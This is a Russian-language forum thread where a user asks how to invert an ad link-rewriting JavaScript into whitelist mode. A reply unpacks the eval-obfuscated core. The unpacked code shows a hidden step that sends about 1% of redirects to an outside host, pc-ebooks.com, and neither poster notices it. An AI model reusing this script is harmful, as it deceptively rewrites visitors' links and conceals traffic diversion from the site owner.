Переделать код

Статус
В этой теме нельзя размещать новые ответы.

4erepaha13

Полезный
Регистрация
20 Июн 2009
Сообщения
157
Реакции
18
нашел скрипт, который сверяет урл по маске и при совпадении подменяет его на редирект. Как модифицировать регулярку, чтобы он делал обратное - работал с белым списком и перебрасывал на редирект все, кроме указаного в перечне?
Код:
// разрешить замену ссылок 
var enable_relink = 1; 
// перечень доменов заменяемых ссылок 
var link_src = [ 
  "перенаправляемыйдомен.ру", 
  "перенаправляемыйдомен2.ру", 
   ...... 
]; 
// редирект-страница с рекламой 
var dest = "адреслендинга.ру"; 
// эту часть лучше не трогать 
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7 a(s){4 3=o;5(i q 9)2(s.k(9[i])>=0){3=n;m}8 3}7 b(){2(!p)8;2(6.d(6.e()*h)==g)c="f://B-z.y/E/C.D?u=";4 1="";4 l=t.r("A");5(j=0;j<l.x;j++){1=l[j].w("1");2(a(1)){l[j].v("1",c+1)}}}b();',41,41,'|href|if|res|var|for|Math|function|return|link_src|isMatch|kapkan|dest|round|random|http|14|100|||indexOf||break|true|false|enable_relink|in|getElementsByTagName||document|go|setAttribute|getAttribute|length|com|ebooks||pc|index|php|getlink'.split('|'),0,{}))
 
Как раз нужно трогать ту часть, которую "// эту часть лучше не трогать". Надо распаковать его и изменить труе на фалсе. и выйдет вот так (распакованное), запакуешь сам.
Код:
function isMatch(s) {
	var res = true; //тут заменил
	for (i in link_src)
		if (s.indexOf(link_src[i]) >= 0) {
			res = false; //и тут заменил
			break
		}
	return res
}
function kapkan() {
	if (!enable_relink)
		return;
	if (Math.round(Math.random() * 100) == 14)
		dest = "http://pc-ebooks.com/getlink/index.php?go=";
	var href = "";
	var l = document.getElementsByTagName("A");
	for (j = 0; j < l.length; j++) {
		href = l[j].getAttribute("href");
		if (isMatch(href)) {
			l[j].setAttribute("href", dest + href)
		}
	}
}
kapkan();
 
Как раз нужно трогать ту часть, которую "// эту часть лучше не трогать".

и почему же это?
 
Как раз нужно трогать ту часть, которую "// эту часть лучше не трогать".
и почему же это?
да потому что, как раз эта функция у тебя и делает редирект, а предыдущие строки просто "дают материал" для этой функции
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху